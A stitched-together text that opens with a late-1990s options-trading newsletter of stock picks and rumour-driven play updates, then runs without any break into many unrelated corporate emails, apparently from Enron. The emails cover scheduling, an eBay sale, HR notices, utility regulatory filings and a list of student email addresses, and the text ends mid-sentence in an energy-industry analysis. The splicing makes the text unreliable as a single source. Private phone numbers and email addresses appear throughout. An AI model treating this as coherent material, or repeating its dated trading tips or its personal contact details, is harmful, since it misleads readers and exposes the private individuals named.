COF 127.1 -0.81 2.19 -0.31 -1.19 -0.12 New pick, Split Candidate
ATI 78.81 1.00 -0.50 -2.25 1.56 -0.19 Got to decide: Bell or VOD
DELL 77.63 4.19 -1.56 -1.13 -1.69 -0.19 Showing strength for the week
XIRC 38.13 1.25 -1.88 0.75 -0.50 -0.38 Earnings are next week.
MYG 63.25 0.25 -0.25 -0.06 -0.69 -0.75 This may break its winning streak
FTL 17.06 0.44 -1.31 -0.50 -0.06 -1.43 Still waiting for that bid
AOL 144.5 18.63 -11.5 -7.88 -1.25 -2.00 One tough Internet
T 82.13 0.31 -1.13 0.50 -2.63 -2.95 No real sellers
LOW 51.38 -1.44 -0.06 -1.47 -0.31 -3.28 Show of strength today
GDT 103.6 10.94 -5.81 -5.13 -3.38 -3.38 Dropped
JBL 71.31 0.56 -2.69 -0.75 -0.69 -3.57 Holding up under pressure
LXK 97.00 1.75 -1.94 -0.13 -3.25 -3.57 Earnings next Tuesday
WCOM 71.00 0.00 -2.50 1.44 -2.94 -4.00 Consolidating
SLR 83.56 -1.06 -0.06 -3.44 -1.50 -6.06 Announced 2:1 and did nothing
UTX 108.5 -2.50 -0.94 -1.31 -2.31 -7.06 Dow sensitive
MSFT 141.7 -2.38 -5.31 1.63 -2.06 -8.12 Still a split candidate
LU 105.9 -2.31 -5.06 -3.63 1.69 -9.31 Looking strong, watch out CSCO
JPM 102.0 0.00 -2.63 -5.25 -4.56 -12.44 Dropped..Brazilian exposure
AMZN 138.0 24.38 -21.2 -15.3 -10.0 -22.25 Dropped

Puts

XCIT 65.13 * * -5.75 -4.25 -10.0 Internet sell-off
MRK 144.7 -3.13 -2.75 -0.56 -2.63 -9.07 Dow dropper
BAC 62.50 * * -1.50 -2.94 -4.44 S. American worries?
WLA 71.13 -3.25 -1.88 -0.06 1.44 -3.75
ERTS 44.00 -0.69 -1.00 -0.69 -0.88 -3.26
DD 54.88 * * -0.81 -2.13 -2.94
BMCS 37.75 0.69 -0.94 -0.38 -1.88 -2.51 Picking up speed?
BDX 39.25 -0.50 -0.44 -0.63 -0.75 -2.32
CBE 43.25 * * -0.50 -0.50 -1.00 Consistent
AVT 45.69 0.56 -2.25 3.06 -2.13 -0.76
HSY 59.81 * * -0.81 0.38 -0.43
PKN 93.50 * * -0.06 -0.31 -0.37
CPB 45.94 * * 0.69 0.38 1.07
LLY 81.50 -2.69 0.31 4.19 0.81 2.62

PICKS WE DROPPED
****************
When we drop a pick it doesn't mean we are recommending a sell
on that play. Many dropped picks go on to be very profitable.
We drop a pick because something happened to change its
profile. News, price, direction, etc. We drop it because we
don't want anyone else starting a new play at that time.
We have hundreds of new readers with each issue who are
unfamiliar with the previous history for that pick and we
want them to look at any current pick as a valid play.

CALLS:
******

CMGI $105.00 -8.44 (+40.75) After being derailed by the
Brazilian devaluation bomb midweek, the market when into
a tailspin and the Internets were no exception.  After
Monday's earth shaking surge of $71.75, CMGI has dwindled
away 31 points in the last 3 days ($62 pre-split).  With
a host of downgrades raining down on several of the big
hitters in the Internet sector, we figure it is time to
dodge the bullet before some valuation happy analyst sets
their sights on CMGI.  We are cutting CMGI loose and
hopefully it's consolidation will be quick.

AMZN $138.00 -10.00 (-22.25)  Brazilian devaluation.
Analysts' downgrades due to valuation.  Bearish short-term
remarks.  Impeachment proceedings.  Option expirations.  What
else can we add to the mixture in this pot of volatility??
Amazon had been doing just fine when it popped up over +$75.00
last week.  Not this week!  On Thursday in a sign of weakness,
Amazon finished only two and a half points off its low for the
day to close at $138.00.  Even earnings reports from companies
such as Yahoo that beat estimates weren't enough to carry
sympathy plays like Amazon into positive territory.  We are
dropping Amazon as a pick.  This is not to say that Amazon
won't turn around- and soon.  But in light of current
circumstances, we feel there are safer plays to be in.

ASND $82.13 +1.81 (+10.69) We finally got the price that LU is
paying for ASND, and it is .825 shares of LU for each share of
ASND.  The reason we are dropping ASND is because it has
effectively turned into a LU play since the purchase price has
been announced.  There is a little more room for ASND to move
given the share ratio, but typically the acquiree does not
close the gap completely because of the uncertainty of the deal
being closed.  There is no hint of competing bids, but ASND
would be a current play again if a bidding war started for it.

SLR $83.56 -1.50(-6.07) We are dropping SLR with the idea
we might pick it back up closer to the earnings report and
stock split date. As predicted, SLR announced a 2-1 stock
split this week. They announced after close on Wednesday.
Unfortunately, with the market volatility, SLR went down on
the day. We did see an opening that sent SLR up a few dollars,
but this faded into a loss by days end. SLR could definitely
see a split and earnings run, but we feel it's better to wait
for confirmation.

JPM  $102.00 4.56 (-12.44) The comeback in financial stocks
was derailed this week.  Hammered by the problems in Brazil,
JPMorgan lost another $4.56 today.  When we initiated this
play, JPM had momentum and its chart looked good.  However,
it's exposure to Brazil is too great, and given the seriousness
of the political and economic troubles in that country, we
have to drop JPM as a play.

GDT  $103.63  3.38 (-3.37) Guidant has lost ground since
setting an intra-day high of $119.75 on Monday. With just
13 days to go before it splits, GDT should be cruising into
a split run. It tried on Monday, but weakness in the overall
market has held it back. If the market turns positive again,
so will Guidant.  However, with the questionable market
footing we are going to cut Guidant loose until things firm up

PUTS:
******

NONE

PICK NEWS - CALLS

FTL  $17.06 -.06 (-1.44)  FTL was added as a possible take
over play this week.  Something is going on but what?  We
are constantly pouring over news and rumor mongers only to
discover on Wednesday morning wires, trading was halted for
a block of shares (73,100) to trade at $16.06 down $-1.56.
Then we read about 100,000 shares being crossed by
Goldman Sachs.  Plus another 100,000 was traded at $17 today
by Salomon Smith Barney.  Unlike the techs' FTL did not suffer in
todays' trading, opening $17.69, taking a little off the table
to $16.69 then closing at $17.06.  Not providing a great
warm a fuzzy feeling, but enough of a feeling to keep this
as a play.  Remember, rumors are predicting a buyout at $23
or more.

MYG $63.25 -0.69 (-0.75)  Between Tuesday and Wednesday, MYG
seemed to be holding its own and only lost thirty-one cents
as the market dropped a combined -270.33 points.  But
Brazilian woes continued and the market plummeted another
-228.63 on Thursday.  Maytag fought and fought but finally,
the market scored a point with a knock-down.  Maytag was
stunned and conceded -$0.69.  MYG is normally a strong play
and is still one of our split candidates.  But, the market
is extremely volatile and we suggest waiting for things to
turn around before starting any new plays.

SUNW $94.50 -2.31 (+3.62)  Sun is one of the brightest stocks
on Wall Street even though the Brazilian storm continues to
darken the market.  Sun is up +$3.62 on the week from positive
press releases and rumors of a possible take-over by IBM.  On
Wednesday, CNBC presented the rumor which ended up being
dismissed as smoke but option trade volume increased none the
less.  We will keep you posted of any changes in the scenario.
In other news, Morgan Stanley Dean Witter raised its 12-month
price target for SUNW to $132, up from the previous price of
$104.  Not only does Sun have the only end to end computing
platform used in telecommunications services, it is also
working on incorporating its Java technology into the digital
TV industry.  Even though SUNW got ruffled by the market and
dropped -$2.31 on Thursday, SUNW is still a strong play.
Earnings for the company are scheduled for Jan 21st (not the
15th as we had previously reported), a prime time to announce
a possible split.  Look at the additional dip as a buying
opportunity but wait for some signs of a turn around before
entering.  Trying to catch a falling knife tends to damage
fingers and trading capital.

EMC $93.88 +1.56 (+.31) EMC is a pretty amazing momentum stock.
The NASDAQ is down 1.7% today, and EMC goes up.  On Wednesday,
EMC's gap down went as low as $84, but it was such a fast
market it probably was not a price you could have gotten
easily.  During the first 15 minutes of trading on Wednesday
1 million shares were traded.  This was almost half of
Wednesday's volume, and one-third of EMC's average daily
volume. There hasn't been any news on EMC, but then again, it
doesn't look like we need any.  FYI  In our Sunday write-up we
had EMC's earnings release date as 1/28, but we have since
learned that the release date is either 1/25 or 1/26.

JBL $71.31 -.69 (-3.56) JBL held up pretty well today
considering the action in the market.  I am sure that the
coverage initiated on JBL by Everen Securities helped.  The
press release did note, however, that in the near-term they
believe that JBL is close to fair value, but in the long term
it should be an outperformer.  The other bit of news that
probably helped JBL was that Solectron announced a two for one
stock split.  As we have said on more than one occasion, this
industry tends to move together, but JBL appears to be the
upper crust of a volatile group.

UTX $108.56 2.31 (-6.13) UTX is very Dow sensitive.  Let's
illustrate it.  The Dow is down 2.3% today and UTX was down
2.1%.  It has been that way all week.  The only thing at this
point that would probably change UTX's price movement is a pre-
earnings announcement one way or the other.  UTX announces
earnings next week.  On the news side, we are amazed at the
number of varied businesses of UTX.  For example, today UTX
announced that its Hamilton Standard unit signed a letter of
intent to joint venture with KLM Royal Dutch Airlines to focus
on the maintenance of pneumatic aircraft components.  In the
press release it indicated that it's Hamilton unit also makes
space suits for the NASA shuttle program.  Only play UTX if the
Dow is moving up.

MSFT  $141.75 -$2.06 (-8.13)  Like we said, don't try to
catch a falling knife.  Though, we shrugged off an ugly
beginning to finish over 1 point positive yesterday, today
we gave it back, and then some.  We're still positive on
MSFT given their trial has begun to produce positive news,
like their appeal of the Judge's decision to force MSFT to
use Sun's version of Java in its Windows operating system,
and a new stream of MSFT-friendly witnesses on the stand.
Furthermore, Prudential Securities said analyst Doug Crooke
initiated coverage of Microsoft Corp. with a rating of
accumulate and a price target of $175 a share.  MSFT is
still a split candidate at over $140 and will announce
earnings January 19 after the close.  We realize that
trading options is inherently risky and caution to wait for
a reversal in the stock and the overall market before
starting another play.  If it falls another day, let it
fall.  The point is to catch a good entry on the way up,
not on the way down.

***** Play updates continued in section two *****

The e:mail system never recognizes Rick Causey, so you were dropped from the 
first distribution.  I have to remember to type your full first name!
---------------------- Forwarded by Sally Beck/HOU/ECT on 03/14/2000 04:25 PM 
   
	From:  Sally Beck                           03/14/2000 04:25 PM
	
To: Cliff Baxter/HOU/ECT@ECT, Greg Whalley/HOU/ECT@ECT, David W 
Delainey/HOU/ECT@ECT
cc: Susan Skarness/HOU/ECT@ECT, Liz M Taylor/HOU/ECT@ECT, Kay 
Chapman/HOU/ECT@ECT, Sharron Westbrook/Corp/Enron@ENRON, Brent A 
Price/HOU/ECT@ECT, Kristin Albrecht/HOU/ECT@ECT, Brenda F Herod/HOU/ECT@ECT 
Subject: Out of the Office

I will be out of the office Wednesday through Friday this week (March 
15-17).   I will be with my children while they are on Spring Break.  I can 
be reached those three day either at home (281-370-8568) or on my cell phone 
(713-417-1591).   The following persons will serve as key operations contacts 
in the office while I am out:
Key Operations Contacts March 15-17

  Brent Price   Business Controller, Gas  x37647

  Kristin Albrecht   Business Controller, Power  x34763

Also, I will be in the London office during the week of March 20th.  I am 
working with Fernley Dyson and John Sherriff to structure training and 
orientation for a new head of trading operations that has been hired in 
London.  I am also working to provide transition resources to London for 
operational controls unttil the new guy is on board.  My work on this should 
be completed by the end of next week.  I will return to Houston on Friday, 
March 24.  My assistant, Patti Thompson (x39106),  will have a copy of my 
schedule while I am in London as well as an international mobile phone number 
where I can be reached. Please don't hesitate to call.  I will be responding 
to voice mail messages throughout the week.   The following persons will 
serve as key operations contacts in the Houston office while I am working 
from London:

Key Operations Contacts  March 20-24

  Brenda Herod   Business Controller, Gas  x35778

Kristin Albrecht will attend the Monday, March 20th staff meeting at 9:30 in 
my absence.  

Congratulations on winning the auction on Ebay for the sleeve of Pinnacle Golf Balls.  Please let me know if you will be paying by PayPal(alove@houston.rr.com) or money order/cashier's check.  The total is $13.50.  I will mail the balls priority mail as soon as I receive payment.  Thanks again and use this email address if you reply before this evening, alove@housotn.rr.com is my home email and I can not access it from work.  Thanks again and look forward to hearing from you soon.
PL

Please send me an e-mail today with your impressions of this candidate so 
that I can report back to HR.  Thanks.
Carol

UBS have organized an important meeting  will be held tomorrow for all employees who : 

1) have accepted offers or 
2) intend to accept offers ( to the best of their knowledge) but who have issues that are being resolved

All employees in these categories should attend

Buses will be provided for those who do not have their own transport and will pick up from the south side of the north building - please assemble in the Java plaza area from 8.30am  to 9.30am ( last bus leaves  @ 9.30 am )

The meeting will last until approximately 1pm  and will be presented by senior managers from UBS on the firm and it's strategy.

There will be breakfast available at the Hotel from 9am to 10am and there will be sandwiches afterwards.  

If traveling independently please make sure you leave sufficient time to park (it will be very busy) and get to the Grand ballroom

Employees need to bring their id's or drivers license with them to gain access to the meeting

I'm sorry for the short notice on this - please call out to anyone who should be attending who will not get this message in time 

Tammie Schoppe 
on behalf of UBS HR

One more thing.  Did someone send you copies of equipment contracts?  Those 
have confidentiality provisions which need to be considered.  Therefore, 
please advise what you received from Enron in that regard.

I was under the impression that most of what we were submitting we were 
submitting as confidential information, specifically including the responses 
to the Public Staff's data requests.  I don't recall the specifics at this 
point.

Thanks again,

Kay

"Duncan, Allyson" <aduncan@kilstock.com> on 09/19/2000 11:07:28 AM
To: "'Kay.Mann@enron.com'" <Kay.Mann@enron.com>
cc:  

Subject: RE: CPCN public information

The Application itself is public.  The testimony is public.  Without going
back through the material we have supplied (which I would be happy to do, if
you like), the primary material that was confidential was the cost data and
supporting work papers.  Also, the engineering plan we filed recently in
response to a data request was confidential.

Let me know if you would like me to walk back through it more specifically.

From: Kay.Mann@enron.com [mailto:Kay.Mann@enron.com]
Sent: Tuesday, September 19, 2000 12:03 PM
To: aduncan@kilstock.com
Subject: CPCN public information

Hi Allyson,

Someone was asking which of the information we have filed is public
information.  Is the petition itself public?  What else would be public?

I know this is a variation to the "what is confidential" question. Once
again, your assistance is appreciated.

Kay

As mentioned in my previous message, another one of the presentations that I 
attempted to send to you earlier is attached below.

Hi Katie,   Looks like you got the address right.  I too enjoyed talking with 
you last night.  I know you were disappointed to be distracted from your 
research project for a while.  

Its been a busy week so far.  The end of the yearly quarter always is.  Last 
minute deals have to be closed to book the income.  At this time of year the 
commercial dealmakers get that wild eyed looked which says "I have got to get 
this project done or I am out of here".  March 31 can't arrive soon enough.  

Got any big plans for the weekend?  Hanging out at the Dixie Chicken or is 
that only where rookies hang out?  

Take care and I'll talk to you later.

Gerald  

Katie McMahon <katie99@tamu.edu> on 03/22/2000 12:32:59 PM
To: Gerald Nemec <gerald.nemec@enron.com>
cc:  
Subject: Hi!

Hey Gerald,
 Just checking to see if I got your address right.  I enjoyed talking
with you last night.  Have a great week! :)

Katie

Since TXU terminated (effective 2/26/02) should we still send the demand letter?  I'm thinking not.  The goal of moving the contract to terminated status has been accomplished and I doubt they will pay anything now considering we have agreed to begin settlement discussion.  Furthermore, I don't want to irritate the situation with them.

What do you think?

Louis R. DiCarlo
ENA Gas Structuring
Phone: 713-345-4666
Email: louis.dicarlo@enron.com

So was his angle, the shareholders should take the $175 and run?

	Dylan Windham <dwindham@uclink4.berkeley.edu>
	05/01/2001 11:39 AM
		 
		 To: "Guinney, Mark" <Mark_Guinney@watsonwyatt.com>, 
"\"Jeff.Dasovich@enron.com\" " <Jeff.Dasovich@enron.com>, 
"\"JcjCal02@aol.com\" " <JcjCal02@aol.com>
		 cc: "\"guinney@haas.berkeley.edu\" " <guinney@haas.berkeley.edu>, 
"\"jjackson@haas.berkeley.edu\" " <jjackson@haas.berkeley.edu>
		 Subject: RE: Time Warner

Remember, we wrote it from the selfish standpoint of the Time CEO.

At 09:14 AM 05/01/01 -0400, Guinney, Mark wrote:
>Seeing as our recommendation in the memo was counter to everything our
>beloved
>professor supported, it will be interesting to see how he grades us on this
>one.
>
>**********************************************
>Mark D. Guinney, CFA
>Consultant
>Watson Wyatt Investment Consulting
>345 California Street, Ste. 1400
>San Francisco, CA  94104
>(415) 733-4487 ph.
>(415) 733-4190 fax

What is your thought on this.  Since we've taken our customers back, this=
=20
could be dangerous -- but it has already been filed.  Can you see any way i=
t=20
moght help?  I think we have 30 days to respond.

Sue Mara
----- Forwarded by Susan J Mara/NA/Enron on 07/30/2001 11:01 AM -----

=09"Dan Douglass" <douglass@energyattorney.com>
=0907/16/2001 05:59 PM
=09=09=20
=09=09 To: "ARM" <arem@electric.com>, "Bob Anderson" <Robert_Anderson@apses=
.com>,=20
"Vicki Sandler" <vicki_sandler@apses.com>, "Merilyn Ferrara"=20
<merilyn_ferrara@apses.com>, "Janie Mollon" <jsmollon@newwestenergy.com>,=
=20
"Kenneth Moy" <Kennethm@abag.ca.gov>, "Jerry Lahr" <jerryl@abag.ca.gov>,=20
"Dave Finigan" <davef@abag.ca.gov>, "Sue Mara" <susan_j_mara@enron.com>,=20
"Steve Huhman" <steve.huhman@mirant.com>, "Roger Pelote"=20
<roger.pelote@williams.com>, "Rob Nichol" <rsnichol@newwestenergy.com>,=20
"Randy Hickok" <rjhickok@duke-energy.com>, "Nam Nguyen"=20
<nam.nguyen@powersrc.com>, "Joe Paul" <jmpa@dynegy.com>, "Jeff Dasovich"=20
<jeff.dasovich@enron.com>, "Jack Pigott" <jackp@calpine.com>, "Greg Blue"=
=20
<gtbl@dynegy.com>, "George Vaughn" <gavaughn@duke-energy.com>, "Gary=20
Ackerman" <foothillservices@mindspring.com>, "Curtis Kebler"=20
<curtis_l_kebler@reliantenergy.com>, "Curt Hatton" <curt.hatton@neg.pge.com=
>,=20
"Corby Gardiner" <jcgardin@newwestenergy.com>, "Charles Miessner"=20
<camiessn@newwestenergy.com>, "Carolyn Baker" <cabaker@duke-energy.com>, "B=
ob=20
Anderson" <Bob_Anderson@apses.com>, "Bill Ross" <billr@calpine.com>, "Ed=20
Cazalet" <ed@cazalet.com>, "Denice Cazalet Purdum" <dpurdum@apx.com>, "Robe=
rt=20
Berry" <berry@apx.com>, "Tamara Johnson" <tjohnso8@enron.com>, "Max Bulk"=
=20
<mbulk@apx.com>
=09=09 Subject: ABAG Petition for Modification of D.01-05-064

Attached for your information is a copy of the Petition for Modification of=
 =20
D.01-05-064 which ABAG POWER filed on July 13.? On behalf of ABAG, I would =
=20
like to solicit your support of this petition.? The decision in question is=
 =20
the Commission's May 15 decision where it approved the rate design for the =
=20
three-cent rate increase.?=20
?
You may recall that the decision approved a 12-month surcharge for all =20
bundled service customers to make up for the revenue which PG&E and SCE did=
 =20
not recover during the interim period between the March 27 issuance of =20
D.01-03-082 and the subsequent issuance of the May 15 decision.? You also =
=20
know that the May decision provided specifically that DA customers were NOT=
=20
to  be subject to the rate increase.=20
?
The ABAG petition for modification seeks to have the Commission clarify  th=
at=20
DA customers who received DA service during the interim period between the =
=20
two decisions should not be subject to the one-year sucharge, even if they=
=20
were  subsequently returned to bundled service.? The arguments supporting=
=20
this  position are as follows:

Direct  access customers were specifically exempted from the=20
procurement-related rate  increase because they do not receive procurement=
=20
service.? They should therefore be similarly  exempted from the12-month=20
procurement surcharge, even if they subsequently  returned to bundled=20
service.? =20
The inability of PG&E to pay all amounts  due and owing under the PX credit=
=20
have caused the budgets of ABAG POWER  Members to be placed under significa=
nt=20
financial stress.? The Member public agencies have  suffered extreme=20
financial hardship.?  The application of the 12-month procurement surcharge=
=20
has added to that  burden unnecessarily.
In a separate  proceeding (draft Resolution E-3726),? the Commission has=20
expressed  its intent to =01&guard against inequities=018 for direct access=
=20
customers of  SDG&E.? ABAG POWER asks simply  that the Commission afford=20
similar protection to the direct access customers  of PG&E who did not=20
receive bundled procurement service during the  interval between the March=
=20
and May Decisions.?=20
Moreover, in addition  to being inequitable, the application of the=20
procurement surcharge to  non-procurement direct access customers would be=
=20
discriminatory and would  cause the utilities to violate the=20
anti-discrimination provisions of the  Public Utilities Code, Sections 453(=
a)=20
and 453(c).

ABAG POWER  would very much appreciate the support of ESPs and other market=
=20
participants at  the Commission.? Under Rule 47(f) of the Commission's Rule=
s=20
of Practice and  Procedure, "Responses to petitions for modification must b=
e=20
filed and served  within 30 days of the date that the petition was served,=
=20
unless the  administrative law judge sets a different date. Responses must =
be=20
served on the  petitioner and on all? parties who were served with the=20
petition and must  comply with the requirements of Rules 2, 2.1, 2.2, 2.3,=
=20
and 2.5."? Filings  sooner than that would be appreciated.? Please give me =
a=20
call or email if  you are willing to file in support of the ABAG petition.?=
=20
Thanks very  much?for your consideration of our request.
?
Dan

Law  Offices of Daniel W. Douglass
5959 Topanga Canyon Blvd.? Suite  244
Woodland Hills, CA 91367
Tel:?? (818) 596-2201
Fax:?  (818) 346-6502
douglass@energyattorney.com
 - 7-13-01 Petition for Modification of D.01-05-064 - Final.doc

So, is this ok now?

D

	From:  Stella L Morris                           01/11/2000 11:09 AM
	
To: Charlotte Hawkins/HOU/ECT@ECT
cc: Howard B Camp/HOU/ECT@ECT, Daren J Farmer/HOU/ECT@ECT, Pat 
Clynes/Corp/Enron@ENRON 
Subject: Revision - Black Marlin - meter 986782 for 8/98 - UA4

The above meter is non-allocatable and was off system, actuals at meter #8693.
Thanks, Stella

---------------------- Forwarded by Stella L Morris/HOU/ECT on 01/11/2000 
11:01 AM ---------------------------
   
	From:  Stella L Morris                           12/28/99 05:55 PM
	
To: Daren J Farmer/HOU/ECT@ECT
cc: Howard B Camp/HOU/ECT@ECT 

Revision - According to measurement, there is flow of 7,394 in 8/98, however, 
there is nothing to indicate this is gas that was received on HPL in OSS.   I 
checked MIPs and there is a measurement statement that supports the flow rate 
of 7,394 MMBTu.  

Daren is there a deal in CPR which may not have fed over to OSS?   I checked 
OSS for the whole year of 1998 and there are no other deals in OSS.  It does 
seem strange that this is the only month of flow.

----- Forwarded by Steven J Kean/NA/Enron on 01/28/2001 08:56 PM -----

	Expense Server@Enron_Development
	01/02/2001 01:28 PM
		 
		 To: Steven J Kean/NA/Enron@Enron
		 cc: 
		 Subject: <<Concur Expense Document>> - General Expenses

The following expense report is ready for approval:

Employee Name: John Hardy Jr Jr.
Status last changed by:  Automated Administrator
Expense Report Name: General Expenses
Report Total: $5,239.11
Amount Due Employee: $346.02

To approve this expense report, click on the following link for Concur 
Expense.
http://nahou-wwxms01p

After meeting with AEP this morning, some issues are revolved and new one 
added.

Resolved:

 Confirmations will be done out of AEP's systems for long term deals, 
intramonth transactions
 will be confirmed using DECAF 2.  DECAF 1 will not be used.

 Global Facilities will not need to copied to a new pipeline code.

 The HPL DUN's number will remain the same.

 Deal entry will be manual for AEP risk system and getting old deals back 
into Sitara.
 The need to build a cross-reference table is the main driver.

New items

 A hands-on  training program is unlikely due to time  and space constrains.
 AEP/Enron evaluating options.

 New Risk Portfolios need to created in Sitara.  List provided to AEP.
 Enron giving explanations of portfolios for usefulness to AEP.

 Manual entries to G/L and reports needed to book all items.

All items on the Energy ops issues list were discussed.  AEP to fill in point 
person
for there side. 

Agreement reached to use this format and add items as needed.

I will issue a revised transitions issues list tomorrow afternoon, after my 
energy ops
meeting.

I have reviewed the latest revisions to the two amendments that are being 
contemplated for this deal.  They should be signed either today or tomorrow.

I assume that you would prefer that I remain responsible for these for the 
next day or so (and get them signed).  If this is not the case, please advise.

Stuart

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 03/05/2001 
05:41 PM ---------------------------
   
	From:  Jason Sokolov                           03/05/2001 04:05 PM
	
cc:  
Subject: List of Rice students

Vince,
here are the e-mails of students, who signed up on Thursday:

isranir@rice.edu, demianen@rice.edu, tbal93@yahoo.com, maue@rice.edu, 
loughrid@rice.edu, jblantonjr@yahoo.com, gjohnson@rice.edu, 
emchombo@rice.edu, nazareth@rice.edu, vanstone@rice.edu, ganguzza@rice.edu, 
nelsonb@rice.edu, sssmith@rice.edu, wheelock@rice.edu, westmore@rice.edu, 
gaudette@rice.edu, otaylor@rice.edu, dikeman@rice.edu, jettke@rice.edu, 
litton@rice.edu, chilkina@rice.edu, helms@rice.edu, wankhade@rice.edu, 
monfan@rice.edu, kostya@rice.edu, pcp@rice.edu, yueguo@rice.edu, 
nlwbio@rice.edu, zhangn@rice.edu, rishad@rice.edu, yoshiura@rice.edu, 
howard@rice.edu, dayangd@rice.edu, wuwei@rice.edu, so@rice.edu

There were a few students who did not sign up, but I do not have this list..

Jason Sokolov 

NO

	Sheila A Knudsen/ENRON@enronXgate
	11/04/2001 14:31
		 
		 To: "iBuyit@ENRON" <IMCEANOTES-iBuyit+40ENRON@ENRON.com>@SMTP@enronXgate, 
All Enron Employees United States@ENRON
		 cc: 
		 Subject: RE: Reply Requested: Do You Code Or Approve Invoices?

*  Full Name (First, Middle, Last) [Sheila Knudsen]    Sheila Ann Knudsen  
*  E-mail address [Sheila Knudsen]    sheila.knudsen@enron.com 
*  Business unit (For example, Corporate, ETS, EWS, EES, or EBS) [Sheila 
Knudsen]    EWS 
*  Do you code invoices? (Yes/No) [Sheila Knudsen]   Yes 
*  Do you approve invoices? (Yes/No) [Sheila Knudsen]    Yes 
network? (Yes/No) [Sheila Knudsen]    No 

JONATHAN MCKAY,
 
The PEP system closes on Friday, May 25, 2001. 
 
Our records indicate that one or more of your direct reports has suggested reviewers that you have not yet approved.  Feedback cannot be provided on your employee until you approve the reviewers. 
 
Please log into PEP at http://pep.enron.com and select Supervisor Services from the Main Menu to approve your employees' reviewers. 
 
If you have any questions regarding the PRC process or the PEP system, please contact the PEP Help Desk at:
Houston:  1.713.853.4777, Option 4 or email: perfmgmt@enron.com
London:  44.207.783.4040, Option 4 or email: pep.enquiries@enron.com

----- Forwarded by Steven J Kean/NA/Enron on 02/28/2001 01:49 PM -----

=09"SCIENTECH IssueAlert" <IssueAlert@scientech.com>
=0902/28/2001 06:07 AM
=09=09=20
=09=09 To:=20
=09=09 Subject: Constellation to Build Major Plant in California, First in =
Over a=20
Decade

Today's IssueAlert Sponsors:=20

Get over 100-pages of daily tracked and verified e-commerce utility-related=
=20
information with SCIENTECH's E-Commerce InfoGrid.  This unique Strategic an=
d=20
Competitive Intelligence tool will help you stay on top of the torrent of=
=20
e-commerce information news and analysis. Don't miss this opportunity to fi=
nd=20
out what's happening in the field of utility e-commerce.  Download a free=
=20
sample and order your InfoGrid today at www.ConsultRCI.com or contact Chris=
=20
Vigil at 505-244-7605.=20

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y=20
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=20
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=20
at www.ConsultRCI.com for a detailed description of these valuable maps and=
=20
complete ordering instructions.=20
For advertising information, email Nancy Spring, or call (505)244-7613.=20

[IMAGE]

IssueAlert for  February 28, 2001=20

Constellation to Build Major Plant in California,=20
First in Over a Decade

by Will McNamara=20
Director, Electric Industry Analysis

Constellation Energy Group (NYSE: CEG) announced that Kiewit Industrial=20
Company of Omaha, Neb., will begin construction in early April of the 750-M=
W=20
High Desert power plant near Victorville, Calif. The project, which has bee=
n=20
in development since the mid-1990s by High Desert Power Project, LLC=01*a=
=20
subsidiary of Constellation Energy Group of Baltimore, Md.=01*will be the f=
irst=20
new major power plant to serve the Southern California area in more than a=
=20
decade.=20

Analysis: The fact that California suffers from a significant supply / dema=
nd=20
imbalance, and that no new major power plant has been built in the state in=
=20
over a decade, has been well documented in the energy industry press.=20
Consequently, the fact that Constellation Energy Group is now close to=20
breaking ground on its new plant (having completed the laborious plant siti=
ng=20
requirements in California) is a major=01*and somewhat surprising=01*coup f=
or the=20
company, considering that its generation expertise has primarily been in th=
e=20
Northeast nuclear industry. Constellation Energy Group has said that it wil=
l=20
market power from the plant within California, which should prove to be a w=
in=20
/ win scenario for both the company and the state.=20

The High Desert power plant will be built on a 25-acre site at the Southern=
=20
California Logistics Airport, formerly known as the George Air Force Base.=
=20
Commercial operation of the plant is scheduled for June 2003. The plant's=
=20
electric generating technology is based on clean-burning, natural gas-fired=
=20
combustion turbines operating in a combined-cycle mode. Part of the current=
=20
supply problem in California is the fact that hydroelectric resources, the=
=20
state's primary energy source, have been in short supply due to=20
lower-than-average rainfall over the last year. Moving away from a dependen=
cy=20
on hydroelectric supply may be a smart move for the state. In addition, the=
=20
High Desert plant is consistent with a national trend that supports natural=
=20
gas as the fuel of choice for new power plant development projects. As a=20
point of interest, according to data from the Energy Information=20
Administration, California's fuel mix is primarily based in a mixture of=20
natural gas (45.59 percent), hydro (21.95 percent), nuclear (18.07 percent)=
,=20
coal (1.36 percent), oil (1.04 percent), and other, presumably renewable,=
=20
sources (11.98 percent).=20

It is rather surprising that Constellation would be the first company to=20
build a major power plant in California in over a decade, considering the=
=20
company's consistent geographic and fuel-mix focus. Constellation Energy=20
Group is a holding company that includes a group of competitive energy=20
businesses focused mostly on wholesale power marketing, merchant generation=
=20
and portfolio management in North America. Constellation Energy Group is th=
e=20
parent company of the Baltimore Gas and Electric Company (BGE), a regulated=
=20
gas and electric delivery company serving Central Maryland. Up until this=
=20
point, Constellation's generation assets have been primarily based in a=20
mixture of coal and nuclear, and for the most part located in the=20
Northeastern United States. According to information directly from the=20
company itself, Constellation's own fuel mix is predominantly coal (54=20
percent), followed by nuclear (40 percent). Oil, gas and hydro only represe=
nt=20
a small percentage (6 percent) of Constellation's fuel mix.=20

Although coal is the primary fuel in Constellation's portfolio, over the la=
st=20
year the company has become more focused on nuclear. For instance, last=20
December Constellation Nuclear, a wholly owned subsidiary of Constellation=
=20
Energy Group, announced its intent to purchase 100 percent of Unit 1 and 82=
=20
percent of Unit 2 of the Nine Mile Point nuclear power plant. Once the deal=
=20
is closed in mid-2001, Constellation will own a total of 1,550 MW of Nine=
=20
Mile Point's 1,757 MW of total generating capacity. The nuclear plant=20
purchases that Constellation is making expand upon its Calvert Cliffs asset=
,=20
an 850-MW two-unit nuclear plant in Southern Maryland. When I wrote about=
=20
this acquisition last December, I noted that, while Constellation will most=
=20
likely retain its coal-fired generation assets, the company appeared to be=
=20
moving closer toward a nuclear-based portfolio.=20

In addition, in early 2000 Constellation began a restructuring of its=20
corporate identity, dividing its operations into two separate segments: one=
=20
focused on its merchant energy business (including Constellation Nuclear) a=
nd=20
the other focused on regional retail energy services. The merchant energy=
=20
business was ranked fifth in the nation for sales of electric power in the=
=20
third quarter of 2000, and the company is committed to expanding this growt=
h.=20
The goal for the merchant energy business, according to Constellation Energ=
y=20
Group CEO Christian Poindexter, is to establish a portfolio of over 30,000 =
MW=20
of electric generation facilities by 2005. Toward that end, Constellation=
=20
acknowledged earlier that it would be taking advantage of "bargain prices f=
or=20
nuclear plants," which resulted in large part from other utilities focusing=
=20
on transmission operations and thus choosing, or being mandated, to divest=
=20
their generation plants.  Constellation in the past has justified its move =
in=20
this direction by saying that its experience has found that nuclear fuel is=
=20
cheaper than coal and gas generators and that "the economics [of nuclear] a=
re=20
quite robust, once they are calculated out." =20

However, considering that there is only a limited number of nuclear plants =
in=20
the United States that will become available for purchase, Constellation=20
